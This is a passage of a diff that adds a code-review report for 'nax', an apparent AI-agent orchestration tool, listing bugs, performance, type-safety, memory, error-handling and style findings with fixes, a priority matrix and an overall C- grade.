lacks. This divergence means fixes applied to one file are missed
|
|
163
|
+
in the other.
|
|
164
|
+
Fix: Delete story-dispatcher.ts or complete the extraction. runner.ts
|
|
165
|
+
should call into shared functions. The current state is the worst
|
|
166
|
+
of both worlds: duplicated code with subtle differences.
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
```
|
|
170
|
+
[BUG-4] HIGH -- Parallel execution concurrency limiter is broken
|
|
171
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/parallel.ts:218-221
|
|
172
|
+
Issue: The concurrency limiter uses Promise.race(executing) but never
|
|
173
|
+
removes resolved promises from the executing array. This means:
|
|
174
|
+
1. The array grows unboundedly
|
|
175
|
+
2. Promise.race will always resolve immediately after the first
|
|
176
|
+
task completes (already-resolved promises resolve immediately)
|
|
177
|
+
3. The concurrency limit is effectively not enforced after the
|
|
178
|
+
first batch
|
|
179
|
+
Fix: Track executing promises properly:
|
|
180
|
+
- Remove completed promises from the array
|
|
181
|
+
- Use a semaphore pattern or p-limit library
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
```
|
|
185
|
+
[BUG-5] MEDIUM -- getAllReadyStories does not filter "failed" or "paused" stories
|
|
186
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:259-265
|
|
187
|
+
Issue: The function only filters by !s.passes and s.status !== "skipped".
|
|
188
|
+
Stories with status "failed", "paused", or "blocked" are included
|
|
189
|
+
in the "ready" list, meaning they will be retried even if they
|
|
190
|
+
should be skipped.
|
|
191
|
+
Fix: Add explicit status checks:
|
|
192
|
+
s.status !== "failed" && s.status !== "paused" && s.status !== "blocked"
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
```
|
|
196
|
+
[BUG-6] MEDIUM -- LLM routing callLlm reads stdout before waiting for exit
|
|
197
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/routing/strategies/llm.ts:147-156
|
|
198
|
+
Issue: The outputPromise reads stdout/stderr AND awaits proc.exited.
|
|
199
|
+
But reading streams before the process exits may return incomplete
|
|
200
|
+
data if the process is still writing. Additionally, the timeout
|
|
201
|
+
kills the process but does not drain its streams, potentially
|
|
202
|
+
causing the outputPromise to hang (same Bun stream bug documented
|
|
203
|
+
in verification.ts).
|
|
204
|
+
Fix: Use the same drainWithDeadline() pattern from verification.ts
|
|
205
|
+
for the timeout path.
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
```
|
|
209
|
+
[BUG-7] MEDIUM -- PRD mutation in acceptance retry loop
|
|
210
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:1472
|
|
211
|
+
Issue: prd.userStories.push(userStory) directly mutates the PRD array.
|
|
212
|
+
This violates the project's immutability rules from CLAUDE.md.
|
|
213
|
+
The mutated array is later saved, so there's no data loss, but
|
|
214
|
+
mutation can cause unexpected behavior if other code holds
|
|
215
|
+
references to the original array.
|
|
216
|
+
Fix: prd = { ...prd, userStories: [...prd.userStories, userStory] };
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
```
|
|
220
|
+
[BUG-8] LOW -- releaseLock spawns external rm process
|
|
221
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:369
|
|
222
|
+
Issue: releaseLock() spawns `rm` as a subprocess instead of using
|
|
223
|
+
Bun.file or fs.unlink. This is unnecessary overhead and may
|
|
224
|
+
fail on systems where rm is not at the expected path.
|
|
225
|
+
Fix: Use import("node:fs/promises").unlink(lockPath) or
|
|
226
|
+
Bun.write(lockPath, "") followed by unlink.
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
### PERFORMANCE
|
|
230
|
+
|
|
231
|
+
```
|
|
232
|
+
[PERF-1] HIGH -- LLM routing cache has no size limit
|
|
233
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/routing/strategies/llm.ts:16
|
|
234
|
+
Issue: const cachedDecisions = new Map<string, RoutingDecision>();
|
|
235
|
+
This module-level cache grows without bound. For large features
|
|
236
|
+
with hundreds of stories (maxStoriesPerFeature=500), this could
|
|
237
|
+
hold significant memory. Since the cache is never cleared between
|
|
238
|
+
runs in long-lived processes, it could also serve stale decisions.
|
|
239
|
+
Fix: Add a maximum cache size (LRU) or clear the cache at run
|
|
240
|
+
boundaries (which clearCache() does, but only if called).
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
```
|
|
244
|
+
[PERF-2] MEDIUM -- PidRegistry rewrites entire file on every unregister
|
|
245
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/pid-registry.ts:104-117
|
|
246
|
+
Issue: Every unregister() call reads, reconstructs, and rewrites the
|
|
247
|
+
entire .nax-pids file. For sessions with many spawned processes
|
|
248
|
+
(TDD = 3 processes per story x N stories), this is O(n) I/O
|
|
249
|
+
per unregistration.
|
|
250
|
+
Fix: Use an append-only format with periodic compaction, or just
|
|
251
|
+
maintain the in-memory set and write the file only on
|
|
252
|
+
shutdown/crash.
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
```
|
|
256
|
+
[PERF-3] MEDIUM -- redundant double-logging in runner.ts main loop
|
|
257
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:780-798
|
|
258
|
+
Issue: Two consecutive logger.info calls log nearly identical
|
|
259
|
+
information for "Starting iteration":
|
|
260
|
+
- logger.info("execution", `Starting iteration ${iterations}`, ...)
|
|
261
|
+
- logger.info("iteration.start", `Starting iteration ${iterations}`, ...)
|
|
262
|
+
These produce duplicate log entries with overlapping data.
|
|
263
|
+
Fix: Remove the first call -- the "iteration.start" entry is more
|
|
264
|
+
complete and follows the structured logging convention.
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
```
|
|
268
|
+
[PERF-4] LOW -- Dynamic import() in hot paths
|
|
269
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:246-254
|
|
270
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/crash-recovery.ts:64,214
|
|
271
|
+
Issue: Several hot-path functions use `await import("node:fs")` instead
|
|
272
|
+
of top-level imports. While Bun caches module resolutions, the
|
|
273
|
+
async overhead is unnecessary for built-in modules.
|
|
274
|
+
Fix: Move these to top-level imports.
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
### TYPE SAFETY
|
|
278
|
+
|
|
279
|
+
```
|
|
280
|
+
[TYPE-1] HIGH -- Unsafe `as any` cast in story-dispatcher.ts
|
|
281
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/story-dispatcher.ts:104
|
|
282
|
+
Issue: overrides.modelTier = (config.autoMode.complexityRouting[story.routing.complexity] ?? "balanced") as any;
|
|
283
|
+
The `as any` cast silences the type checker entirely and could
|
|
284
|
+
mask legitimate type errors.
|
|
285
|
+
Fix: Use `as ModelTier` or add a proper type assertion.
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
```
|
|
289
|
+
[TYPE-2] HIGH -- Unsafe `as any` cast in execution stage
|
|
290
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/pipeline/stages/execution.ts:103
|
|
291
|
+
Issue: (ctx.config.tdd as any)?.enabled === false
|
|
292
|
+
This accesses a property that may not exist on the TddConfig type.
|
|
293
|
+
If the type does not have an `enabled` field, this check is
|
|
294
|
+
misleading and should be removed or the type should be updated.
|
|
295
|
+
Fix: Add `enabled` to TddConfig interface or remove this dead code
|
|
296
|
+
path.
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
```
|
|
300
|
+
[TYPE-3] MEDIUM -- Loose ModelTier = string type
|
|
301
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/config/schema.ts:25
|
|
302
|
+
Issue: export type ModelTier = string;
|
|
303
|
+
This makes ModelTier equivalent to string, providing no type
|
|
304
|
+
safety. Any string is accepted as a model tier, and the compiler
|
|
305
|
+
cannot catch typos like "balacned" or "powerfull".
|
|
306
|
+
Fix: Use a union type or branded type:
|
|
307
|
+
type ModelTier = "fast" | "balanced" | "powerful" | (string & {});
|
|
308
|
+
The intersection with {} preserves extensibility while providing
|
|
309
|
+
autocomplete for known values.
|
|
310
|
+
```
|
|
311
|
+
|
|
312
|
+
```
|
|
313
|
+
[TYPE-4] MEDIUM -- Multiple `parsed: any` in LLM response parsing
|
|
314
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:594
|
|
315
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/routing/strategies/llm.ts:234
|
|
316
|
+
Issue: JSON.parse results are typed as `any` and accessed without
|
|
317
|
+
type guards. While runtime validation follows, the gap between
|
|
318
|
+
parse and validate is untyped.
|
|
319
|
+
Fix: Use `unknown` instead of `any` and add type narrowing before
|
|
320
|
+
property access:
|
|
321
|
+
const parsed: unknown = JSON.parse(jsonText);
|
|
322
|
+
if (!isObject(parsed)) throw new Error("...");
|
|
323
|
+
```
|
|
324
|
+
|
|
325
|
+
```
|
|
326
|
+
[TYPE-5] LOW -- OptimizerConfigSchema mismatch with OptimizerConfig interface
|
|
327
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/config/schema.ts:622-625
|
|
328
|
+
Issue: The Zod schema defines strategy as z.enum(["cost", "quality", "balanced"])
|
|
329
|
+
but the OptimizerConfig interface defines it as
|
|
330
|
+
"rule-based" | "llm" | "noop". These enums do not match.
|
|
331
|
+
Fix: Align the Zod schema with the interface.
|
|
332
|
+
```
|
|
333
|
+
|
|
334
|
+
### MEMORY
|
|
335
|
+
|
|
336
|
+
```
|
|
337
|
+
[MEM-1] HIGH -- Crash handlers never unregister process listeners
|
|
338
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/crash-recovery.ts:124-177
|
|
339
|
+
Issue: installCrashHandlers() adds listeners for SIGTERM, SIGINT,
|
|
340
|
+
SIGHUP, uncaughtException, and unhandledRejection but never
|
|
341
|
+
removes them. The handlersInstalled flag prevents duplicate
|
|
342
|
+
installation, but if nax is used as a library, old handlers
|
|
343
|
+
from previous runs will accumulate. The handlers also capture
|
|
344
|
+
the CrashRecoveryContext in closure, preventing garbage
|
|
345
|
+
collection of statusWriter, pidRegistry, etc.
|
|
346
|
+
Fix: Return a cleanup function from installCrashHandlers() that
|
|
347
|
+
removes all listeners. Call it in the finally block.
|
|
348
|
+
```
|
|
349
|
+
|
|
350
|
+
```
|
|
351
|
+
[MEM-2] MEDIUM -- pidRegistries Map in ClaudeCodeAdapter never cleans up
|
|
352
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:78
|
|
353
|
+
Issue: private pidRegistries: Map<string, PidRegistry> = new Map();
|
|
354
|
+
Each workdir gets a PidRegistry that is never removed. If the
|
|
355
|
+
adapter is long-lived (e.g., in a daemon/server context), this
|
|
356
|
+
leaks PidRegistry instances.
|
|
357
|
+
Fix: Add a cleanup method or use WeakRef/FinalizationRegistry.
|
|
358
|
+
```
|
|
359
|
+
|
|
360
|
+
```
|
|
361
|
+
[MEM-3] MEDIUM -- allStoryMetrics array grows unboundedly during acceptance loop
|
|
362
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:1537
|
|
363
|
+
Issue: Fix story metrics are pushed into allStoryMetrics during the
|
|
364
|
+
acceptance retry loop. With maxRetries=2 and multiple fix stories,
|
|
365
|
+
this array grows without bound. Combined with maxStoriesPerFeature
|
|
366
|
+
=500, this could be significant.
|
|
367
|
+
Fix: Cap allStoryMetrics or remove entries for superseded fix stories.
|
|
368
|
+
```
|
|
369
|
+
|
|
370
|
+
### ERROR HANDLING
|
|
371
|
+
|
|
372
|
+
```
|
|
373
|
+
[ERR-1] HIGH -- Silent error swallowing in plugin loader
|
|
374
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/loader.ts:148-151
|
|
375
|
+
Issue: discoverPlugins() catches all errors and returns []. This means
|
|
376
|
+
permission errors, disk failures, or other critical I/O issues
|
|
377
|
+
are silently ignored. The caller has no way to distinguish
|
|
378
|
+
"no plugins found" from "failed to read directory".
|
|
379
|
+
Fix: Only catch ENOENT (directory not found). Re-throw other errors
|
|
380
|
+
or return them as diagnostics.
|
|
381
|
+
```
|
|
382
|
+
|
|
383
|
+
```
|
|
384
|
+
[ERR-2] MEDIUM -- Console.warn used instead of structured logger
|
|
385
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/loader.ts:63,79,96
|
|
386
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/validator.ts:30-290
|
|
387
|
+
Issue: Plugin loader and validator use console.warn/console.error
|
|
388
|
+
throughout instead of the structured logger (getLogger()). This
|
|
389
|
+
bypasses log filtering, structured output, and JSONL logging.
|
|
390
|
+
The validator has 20+ console.warn calls.
|
|
391
|
+
Fix: Use getSafeLogger() for all warning/error output. Fall back to
|
|
392
|
+
console only if logger is unavailable.
|
|
393
|
+
```
|
|
394
|
+
|
|
395
|
+
```
|
|
396
|
+
[ERR-3] MEDIUM -- Empty catch blocks hide failures
|
|
397
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:111,383
|
|
398
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/verification.ts:38,168,185
|
|
399
|
+
Issue: Multiple catch blocks are completely empty:
|
|
400
|
+
} catch {}
|
|
401
|
+
These silently swallow errors with no logging. Even transient
|
|
402
|
+
errors that "should never happen" deserve a debug log entry.
|
|
403
|
+
Fix: Add at minimum a debug-level log in each catch block.
|
|
404
|
+
```
|
|
405
|
+
|
|
406
|
+
```
|
|
407
|
+
[ERR-4] LOW -- buildStoryContext uses process.cwd() instead of workdir
|
|
408
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:177
|
|
409
|
+
Issue: workdir: process.cwd() is used instead of the workdir from config.
|
|
410
|
+
In parallel execution mode, process.cwd() may not match the
|
|
411
|
+
story's worktree directory, causing context to be built from the
|
|
412
|
+
wrong directory.
|
|
413
|
+
Fix: Accept workdir as a parameter and pass it through from
|
|
414
|
+
PipelineContext.
|
|
415
|
+
```
|
|
416
|
+
|
|
417
|
+
### CODE PATTERNS / STYLE
|
|
418
|
+
|
|
419
|
+
```
|
|
420
|
+
[STYLE-1] CRITICAL -- runner.ts is 1,685 lines (4x the 400-line guideline)
|
|
421
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts
|
|
422
|
+
Issue: The run() function alone spans 1,500+ lines. It contains:
|
|
423
|
+
- Sequential execution loop (~350 lines)
|
|
424
|
+
- Parallel execution path (~150 lines)
|
|
425
|
+
- Acceptance retry loop (~200 lines)
|
|
426
|
+
- Reporter notification boilerplate (~100 lines, copy-pasted 5x)
|
|
427
|
+
- Status writer updates (~50 lines, copy-pasted 4x)
|
|
428
|
+
- Headless output formatting (~50 lines, copy-pasted 2x)
|
|
429
|
+
This violates the project's "max ~400 lines per file" rule.
|
|
430
|
+
Fix: Extract into focused modules:
|
|
431
|
+
- sequential-executor.ts (main loop)
|
|
432
|
+
- acceptance-loop.ts (acceptance retry logic)
|
|
433
|
+
- reporter-notifier.ts (reporter event emission)
|
|
434
|
+
- headless-formatter.ts (console output for headless mode)
|
|
435
|
+
```
|
|
436
|
+
|
|
437
|
+
```
|
|
438
|
+
[STYLE-2] HIGH -- Reporter notification code duplicated 5+ times
|
|
439
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:846-863,967-983,1025-1041,1055-1071,1101-1117
|
|
440
|
+
Issue: The pattern:
|
|
441
|
+
for (const reporter of reporters) {
|
|
442
|
+
if (reporter.onStoryComplete) {
|
|
443
|
+
try {
|
|
444
|
+
await reporter.onStoryComplete({ ... });
|
|
445
|
+
} catch (error) {
|
|
446
|
+
logger?.warn("plugins", `Reporter '${reporter.name}' ...`, { error });
|
|
447
|
+
}
|
|
448
|
+
}
|
|
449
|
+
}
|
|
450
|
+
is copy-pasted 5+ times with slightly different event data.
|
|
451
|
+
Fix: Extract a notifyReporters() helper:
|
|
452
|
+
async function notifyReporters(reporters, event, data) { ... }
|
|
453
|
+
```
|
|
454
|
+
|
|
455
|
+
```
|
|
456
|
+
[STYLE-3] MEDIUM -- console.error/console.log in non-CLI code
|
|
457
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:284-292
|
|
458
|
+
Issue: Direct console.error() calls in the runner for precheck output.
|
|
459
|
+
These bypass the structured logging system and cannot be
|
|
460
|
+
captured in JSONL logs.
|
|
461
|
+
Fix: Use the logger for all output. Use the formatter for headless
|
|
462
|
+
mode display.
|
|
463
|
+
```
|
|
464
|
+
|
|
465
|
+
```
|
|
466
|
+
[STYLE-4] MEDIUM -- Emojis in log messages and code
|
|
467
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/tdd/orchestrator.ts:292,347,388,669
|
|
468
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:434
|
|
469
|
+
Issue: Log messages contain emojis (checkmark, warning, arrows, chart):
|
|
470
|
+
"Three-Session TDD"
|
|
471
|
+
"Test writer session failed"
|
|
472
|
+
"Created test files"
|
|
473
|
+
"Progress: 6/12 stories | 5 passed | 1 failed"
|
|
474
|
+
Per CLAUDE.md: "No emojis in code, comments, or documentation"
|
|
475
|
+
Fix: Remove all emojis from logger messages. Use text indicators:
|
|
476
|
+
"[OK]", "[WARN]", "[FAIL]", "->", etc.
|
|
477
|
+
```
|
|
478
|
+
|
|
479
|
+
```
|
|
480
|
+
[STYLE-5] LOW -- Inconsistent require() vs import
|
|
481
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:348-350,413
|
|
482
|
+
Issue: Uses require("node:path") and require("node:fs") inline instead
|
|
483
|
+
of ES module imports. The rest of the codebase uses ES imports.
|
|
484
|
+
Fix: Move to top-level ES module imports for consistency.
|
|
485
|
+
```
|
|
486
|
+
|
|
487
|
+
```
|
|
488
|
+
[STYLE-6] LOW -- Dead code: unused maxConcurrency variable
|
|
489
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:196
|
|
490
|
+
Issue: const maxConcurrency = parallel === 0 ? (os.cpus().length || 4) : (parallel ?? 0);
|
|
491
|
+
This variable is declared on line 196 but shadowed by a new
|
|
492
|
+
declaration on line 459 inside the parallel execution block.
|
|
493
|
+
The outer variable is never used.
|
|
494
|
+
Fix: Remove the unused declaration on line 196.
|
|
495
|
+
```
|
|
496
|
+
|
|
497
|
+
---
|
|
498
|
+
|
|
499
|
+
## Priority Matrix
|
|
500
|
+
|
|
501
|
+
| ID | Severity | Category | File | Description |
|
|
502
|
+
|:---|:---------|:---------|:-----|:------------|
|
|
503
|
+
| SEC-1 | CRITICAL | Security | agents/claude.ts:140 | Hardcoded --dangerously-skip-permissions |
|
|
504
|
+
| BUG-1 | CRITICAL | Bug | execution/runner.ts:216 | Crash handler captures stale values |
|
|
505
|
+
| STYLE-1 | CRITICAL | Style | execution/runner.ts | 1,685-line file (4x guideline max) |
|
|
506
|
+
| BUG-3 | HIGH | Bug | execution/runner.ts + story-dispatcher.ts | 765 lines of duplicated logic with divergence |
|
|
507
|
+
| BUG-4 | HIGH | Bug | execution/parallel.ts:218 | Broken concurrency limiter |
|
|
508
|
+
| SEC-2 | HIGH | Security | plugins/loader.ts:203 | Arbitrary code execution via plugin import |
|
|
509
|
+
| SEC-3 | HIGH | Security | hooks/runner.ts:120 | Incomplete command injection prevention |
|
|
510
|
+
| BUG-2 | HIGH | Bug | execution/helpers.ts:311 | TOCTOU race in lock acquisition |
|
|
511
|
+
| PERF-1 | HIGH | Performance | routing/strategies/llm.ts:16 | Unbounded LLM routing cache |
|
|
512
|
+
| MEM-1 | HIGH | Memory | execution/crash-recovery.ts:124 | Process listeners never unregistered |
|
|
513
|
+
| TYPE-1 | HIGH | Type Safety | execution/story-dispatcher.ts:104 | Unsafe `as any` cast |
|
|
514
|
+
| TYPE-2 | HIGH | Type Safety | pipeline/stages/execution.ts:103 | Unsafe `as any` cast |
|
|
515
|
+
| ERR-1 | HIGH | Error Handling | plugins/loader.ts:148 | Silent error swallowing |
|
|
516
|
+
| STYLE-2 | HIGH | Style | execution/runner.ts | Reporter code duplicated 5x |
|
|
517
|
+
| SEC-4 | MEDIUM | Security | agents/claude.ts:226 | Env variable leakage to agent |
|
|
518
|
+
| SEC-5 | MEDIUM | Security | constitution/loader.ts:77 | Missing path validation |
|
|
519
|
+
| BUG-5 | MEDIUM | Bug | execution/helpers.ts:259 | Ready stories includes failed/paused |
|
|
520
|
+
| BUG-6 | MEDIUM | Bug | routing/strategies/llm.ts:147 | Stream read before process exit |
|
|
521
|
+
| BUG-7 | MEDIUM | Bug | execution/runner.ts:1472 | PRD array mutation |
|
|
522
|
+
| PERF-2 | MEDIUM | Performance | execution/pid-registry.ts:104 | O(n) file rewrite per unregister |
|
|
523
|
+
| PERF-3 | MEDIUM | Performance | execution/runner.ts:780 | Duplicate logging calls |
|
|
524
|
+
| TYPE-3 | MEDIUM | Type Safety | config/schema.ts:25 | ModelTier = string (no safety) |
|
|
525
|
+
| TYPE-4 | MEDIUM | Type Safety | agents/claude.ts:594 | JSON.parse returns any |
|
|
526
|
+
| MEM-2 | MEDIUM | Memory | agents/claude.ts:78 | PidRegistry map never cleaned |
|
|
527
|
+
| MEM-3 | MEDIUM | Memory | execution/runner.ts:1537 | Unbounded metrics array |
|
|
528
|
+
| ERR-2 | MEDIUM | Error Handling | plugins/loader.ts + validator.ts | console.warn instead of logger |
|
|
529
|
+
| ERR-3 | MEDIUM | Error Handling | multiple files | Empty catch blocks |
|
|
530
|
+
| STYLE-3 | MEDIUM | Style | execution/runner.ts:284 | console.error in non-CLI code |
|
|
531
|
+
| STYLE-4 | MEDIUM | Style | tdd/orchestrator.ts + helpers.ts | Emojis in log messages |
|
|
532
|
+
| ERR-4 | LOW | Error Handling | execution/helpers.ts:177 | process.cwd() instead of workdir |
|
|
533
|
+
| BUG-8 | LOW | Bug | execution/helpers.ts:369 | Spawns rm subprocess for file delete |
|
|
534
|
+
| TYPE-5 | LOW | Type Safety | config/schema.ts:622 | Schema/interface enum mismatch |
|
|
535
|
+
| PERF-4 | LOW | Performance | runner.ts, crash-recovery.ts | Dynamic import in hot paths |
|
|
536
|
+
| STYLE-5 | LOW | Style | agents/claude.ts:348 | require() instead of import |
|
|
537
|
+
| STYLE-6 | LOW | Style | execution/runner.ts:196 | Dead code: shadowed variable |
|
|
538
|
+
|
|
539
|
+
---
|
|
540
|
+
|
|
541
|
+
## Top 5 Fixes (Implement First)
|
|
542
|
+
|
|
543
|
+
### 1. Fix crash handler stale values (BUG-1)
|
|
544
|
+
**Why first:** Crash recovery is a safety-critical feature. Currently it
|
|
545
|
+
writes incorrect data on crash, making the feature worse than useless
|
|
546
|
+
(it provides false information). One-line fix with massive impact.
|
|
547
|
+
|
|
548
|
+
### 2. Make --dangerously-skip-permissions configurable (SEC-1)
|
|
549
|
+
**Why second:** This is the single most impactful security issue. Every
|
|
550
|
+
agent invocation bypasses all safety controls. Making it configurable
|
|
551
|
+
allows users to choose their security posture.
|
|
552
|
+
|
|
553
|
+
### 3. Fix parallel execution concurrency limiter (BUG-4)
|
|
554
|
+
**Why third:** The broken limiter means parallel mode can spawn unlimited
|
|
555
|
+
concurrent processes, causing resource exhaustion and potential system
|
|
556
|
+
instability.
|
|
557
|
+
|
|
558
|
+
### 4. Split runner.ts (STYLE-1 + STYLE-2 + BUG-3)
|
|
559
|
+
**Why fourth:** This addresses three findings at once. Extract the
|
|
560
|
+
reporter notification helper, the acceptance loop, and the sequential
|
|
561
|
+
execution loop. Delete story-dispatcher.ts to eliminate the divergence
|
|
562
|
+
risk.
|
|
563
|
+
|
|
564
|
+
### 5. Fix lock file TOCTOU race (BUG-2)
|
|
565
|
+
**Why fifth:** Concurrent nax processes can corrupt the PRD file and
|
|
566
|
+
waste money by running duplicate agent sessions. Using atomic file
|
|
567
|
+
creation prevents this.
|
|
568
|
+
|
|
569
|
+
---
|
|
570
|
+
|
|
571
|
+
## Positive Observations
|
|
572
|
+
|
|
573
|
+
Despite the issues above, the codebase demonstrates strong engineering:
|
|
574
|
+
|
|
575
|
+
1. **Zod validation for all config** -- config/schema.ts provides
|
|
576
|
+
comprehensive runtime validation with clear error messages.
|
|
577
|
+
2. **Path security module** -- path-security.ts with symlink resolution
|
|
578
|
+
and bounds checking shows security awareness.
|
|
579
|
+
3. **Structured error classes** -- errors.ts with typed codes enables
|
|
580
|
+
proper error handling at the CLI boundary.
|
|
581
|
+
4. **Immutable patterns in most code** -- spread operators and map()
|
|
582
|
+
used consistently (the PRD mutation in BUG-7 is the exception).
|
|
583
|
+
5. **Comprehensive TDD orchestrator** -- The three-session TDD pipeline
|
|
584
|
+
with isolation verification, verdict parsing, and rollback is
|
|
585
|
+
well-designed and thoroughly implemented.
|
|
586
|
+
6. **Plugin system architecture** -- Clean separation of concerns with
|
|
587
|
+
typed extension points, runtime validation, and graceful fallbacks.
|
|
588
|
+
7. **ADR-003 verification flow** -- The multi-stage verification with
|
|
589
|
+
environmental failure detection and smart exit-code analysis is
|
|
590
|
+
production-quality infrastructure.
|
|
591
|
+
|
|
592
|
+
---
|
|
593
|
+
|
|
594
|
+
## Overall Grade: C-
|
|
595
|
+
|
|
596
|
+
**Justification:**
|
|
597
|
+
|
|
598
|
+
| Category | Score | Weight | Notes |
|
|
599
|
+
|:---------|:------|:-------|:------|
|
|
600
|
+
| Security | D | 25% | Hardcoded permission bypass, incomplete injection prevention |
|
|
601
|
+
| Correctness | C | 25% | Stale crash values, broken concurrency, TOCTOU race |
|
|
602
|
+
| Maintainability | D+ | 20% | 1685-line file, massive duplication, divergent copies |
|
|
603
|
+
| Type Safety | C+ | 10% | Good Zod usage undermined by `as any` casts |
|
|
604
|
+
| Performance | B- | 10% | Unbounded cache is the only real issue |
|
|
605
|
+
| Error Handling | C | 10% | Mix of good (structured errors) and bad (empty catches) |
|
|
606
|
+
|
|
607
|
+
The architecture and domain modeling are strong (B+), but the
|
|
608
|
+
implementation has accumulated technical debt that creates real risk.
|
|
609
|
+
The five critical/high findings (SEC-1, BUG-1, BUG-3, BUG-4, STYLE-1)
|
|
610
|
+
must be addressed before any production deployment.
|
|
611
|
+
|
|
612
|
+
**Approval:** BLOCKED -- 3 CRITICAL and 11 HIGH findings.
|